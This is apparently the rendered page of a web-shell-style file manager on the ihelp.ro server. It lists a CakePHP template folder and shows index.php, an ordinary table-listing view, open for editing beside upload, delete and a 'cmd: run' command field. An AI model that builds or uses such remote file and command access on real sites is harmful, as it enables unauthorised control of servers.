/
var
/
www
/
vhosts
/
ihelp.ro
/
_OLD
/
templates
/
CauseImages
/
/var/www/vhosts/ihelp.ro/_OLD/templates/CauseImages
mkdir
upload
Name
Size
Mode
Actions
add.php
969
0644
edit
dl
rm
edit.php
1234
0644
edit
dl
rm
index.php
2401
0644
edit
dl
rm
view.php
4644
0644
edit
dl
rm
Edit:
/var/www/vhosts/ihelp.ro/_OLD/templates/CauseImages/index.php
(2401B)
<?php /** * @var \App\View\AppView $this * @var \App\Model\Entity\CauseImage[]|\Cake\Collection\CollectionInterface $causeImages */ ?> <div class="causeImages index content"> <?= $this->Html->link(__('New Cause Image'), ['action' => 'add'], ['class' => 'button float-right']) ?> <h3><?= __('Cause Images') ?></h3> <div class="table-responsive"> <table> <thead> <tr> <th><?= $this->Paginator->sort('id') ?></th> <th><?= $this->Paginator->sort('cause_id') ?></th> <th><?= $this->Paginator->sort('image') ?></th> <th><?= $this->Paginator->sort('created') ?></th> <th><?= $this->Paginator->sort('modidfied') ?></th> <th class="actions"><?= __('Actions') ?></th> </tr> </thead> <tbody> <?php foreach ($causeImages as $causeImage): ?> <tr> <td><?= $this->Number->format($causeImage->id) ?></td> <td><?= $this->Number->format($causeImage->cause_id) ?></td> <td><?= h($causeImage->image) ?></td> <td><?= h($causeImage->created) ?></td> <td><?= h($causeImage->modidfied) ?></td> <td class="actions"> <?= $this->Html->link(__('View'), ['action' => 'view', $causeImage->id]) ?> <?= $this->Html->link(__('Edit'), ['action' => 'edit', $causeImage->id]) ?> <?= $this->Form->postLink(__('Delete'), ['action' => 'delete', $causeImage->id], ['confirm' => __('Are you sure you want to delete # {0}?', $causeImage->id)]) ?> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <div class="paginator"> <ul class="pagination"> <?= $this->Paginator->first('<< ' . __('first')) ?> <?= $this->Paginator->prev('< ' . __('previous')) ?> <?= $this->Paginator->numbers() ?> <?= $this->Paginator->next(__('next') . ' >') ?> <?= $this->Paginator->last(__('last') . ' >>') ?> </ul> <p><?= $this->Paginator->counter(__('Page {{page}} of {{pages}}, showing {{current}} record(s) out of {{count}} total')) ?></p> </div> </div>
Save
cmd:
run